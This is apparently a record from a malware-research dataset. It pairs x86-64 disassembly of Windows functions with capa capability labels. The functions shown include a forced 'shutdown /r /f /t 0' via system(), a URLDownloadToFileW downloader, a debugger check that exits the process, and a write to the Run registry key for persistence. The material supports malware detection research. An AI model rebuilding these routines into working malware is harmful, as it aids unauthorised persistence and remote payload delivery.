joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003b240
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x40
mov ebx, 0xa
mov qword [rsp + 0x58], 1
nop dword [rax]
nop dword [rax + rax]
lea rcx, [0x140052c9c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.The_system_will_restart_in
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140041210
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._seconds...
call fcn.140041210
lea rdx, [0x1400413f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x58]
call fcn.140041430
sub ebx, 1
jns 0x14003b260
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov ecx, 0x20
call fcn.1400438f0
mov rcx, rax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], 0x13
mov qword [rsp + 0x38], 0x1f
movups xmm0, xmmword [str.shutdown__r__f__t_0]
movups xmmword [rax], xmm0
movzx eax, word [0x140052ce0]
mov word [rcx + 0x10], ax
movzx eax, byte [0x140052ce2]
mov byte [rcx + 0x12], al
mov byte [rcx + 0x13], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x14003b360
lea rdx, str.Command_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140041210
lea rdx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rdx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x30]
mov rcx, rax
call fcn.1400426e0
lea rdx, [0x1400413f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14003b3a0
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b39b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b39b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140043c3c
add rsp, 0x40
pop rbx
ret
Function at 0x14003b3b0
Capabilities:
Create directory
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rdx
mov rbx, r8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14003b3eb
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov r8, rdi
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
setns al
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x14003b400
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x13e0
call fcn.1400446b0
sub rsp, rax
mov rbx, rcx
xor edi, edi
mov dword [rsp + 0x20], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov ecx, 0x40
call fcn.1400438f0
mov rsi, rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x38], 0x3e
mov qword [rsp + 0x40], 0x3f
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140052cf8]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140052d08]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x140052d18]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x140052d20]
mov dword [rsi + 0x38], eax
movzx eax, word [0x140052d24]
mov word [rsi + 0x3c], ax
mov byte [rsi + 0x3e], dil
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x54], eax
inc rdx
cmp rdx, 0x270
jb 0x14003b4c0
mov dword [rsp + 0x50], 0x270
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov dword [rsp + 0x20], 1
mov edi, 0xc
mov ebp, 0x80000000
nop
lea rcx, [rsp + 0x50]
call fcn.140042ad0
mov ecx, eax
imul rax, rcx, 0x3e
cmp eax, 3
ja 0x14003b53a
lea rcx, [rsp + 0x50]
call fcn.140042ad0
mov ecx, eax
imul rax, rcx, 0x3e
cmp eax, 4
jb 0x14003b525
shr rax, 0x20
add rax, rbp
xor rax, rbp
movzx r9d, byte [rax + rsi]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x14003b575
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x14003b56a
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14003b57d
mov rcx, rbx
call fcn.140042060
sub rdi, 1
jne 0x14003b510
mov edx, 0x40
mov rcx, rsi
call fcn.140043c3c
mov rax, rbx
lea r11, [rsp + 0x13e0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14003f9b0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x14003f9d1
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14003f9fe
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14003fa00
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14003fa59
test ecx, ecx
jle 0x14003fa39
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14003fa59
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14003fa59
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
mov ebx, 0x5fa4dc3b
fisttp dword [rdi + 0x16a9f620]
push rcx
retf
Function at 0x14003fa80
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14003fab1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x14003fac8
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14003faeb
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14003faed
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14003fb29
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14003fbbe
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14003fb64
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14003fb9e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14003fbbe
cmp rbx, rax
ja 0x14003fb70
test rbx, rbx
je 0x14003fbbe
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
movabs byte [0x3ae73e526657b0e2], al
jp 0x1400a1df1
xchg dword [rdi - 0x1b36476f], ecx
call 0x191e3e3de
invalid
mov fs, word [0x1488c87ae]
invalid
Function at 0x140040000
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140040024
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140040067
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x140040067
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x140040198
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400400aa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400400d5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14004019d
lea rax, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14004014a
sub eax, 1
je 0x14004014a
cmp eax, 2
jne 0x140040198
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14004019d
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x14004017b
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140040198
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14004019d
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x1400406c0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140040789
cmp byte [rcx + 0x71], 0
je 0x140040789
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x68], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14004077c
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140040738
sub eax, 1
je 0x14004073c
cmp eax, 2
jne 0x14004077c
mov rdi, qword [rsp + 0x68]
mov al, 1
mov byte [rbx + 0x71], 0
add rsp, 0x50
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x14004076a
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14004077c
cmp byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x68]
sete al
add rsp, 0x50
pop rbx
ret
mov rdi, qword [rsp + 0x68]
xor al, al
add rsp, 0x50
pop rbx
ret
mov al, 1
add rsp, 0x50
pop rbx
ret
Function at 0x140042ad0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140042b31
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140042af0
mov ecx, dword [r9]
jmp 0x140042c1b
cmp ecx, 0x4e0
jb 0x140042c1b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140042b50
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140042ba0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x140042c68
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140042ca2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140042ca7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140042cf0
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140046840]
cmp byte [rcx + rax], 0
je 0x140042cf0
dec r8
sub rdx, 1
jne 0x140042cd6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140043ff0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004403a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004403a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004403a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004403a
cmp dword [rcx + 0x84], 0xe
jbe 0x14004403a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004403c
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004044a0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004044b0]
mov dword [rax], 1
mov rax, qword [0x004044c0]
mov dword [rax], 1
mov rax, qword [0x00404490]
mov dword [rax], 1
mov rax, qword [0x00404380]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00404480]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404440]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404330]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
je 0x401573
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
add rsp, 0x20
pop rbp
ret

Function at 0x40157a
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x401610
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.strlen
lea edx, [rax + 1]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp + 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
mov rdx, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
jmp 0x401611
nop
add rsp, 0x40
pop rbp
ret
Function at 0x402790
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4027a0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4027b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4027f1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x4027e8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4027f3
add rax, 0x28
cmp rax, r9
jne 0x4027d4
xor eax, eax
ret

Function at 0x402890
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404380]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x4028fd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4028fd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4028fd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4028f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4028ff
add rax, 0x28
cmp rax, r9
jne 0x4028e0
xor eax, eax
add rsp, 0x28
ret

Function at 0x402a00
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404380]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402a20
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a18
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402a7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402a74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402a84
add rax, 0x28
cmp rax, r9
jne 0x402a60
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402aa0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404380]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402b0e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402b0e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402b0e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402b0e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402b05
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402b15
add rcx, 0x28
cmp rcx, rax
jne 0x402af0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402b28
jmp 0x402b0e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402b36
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402b0e
test r9d, r9d
jg 0x402b20
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x402db0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop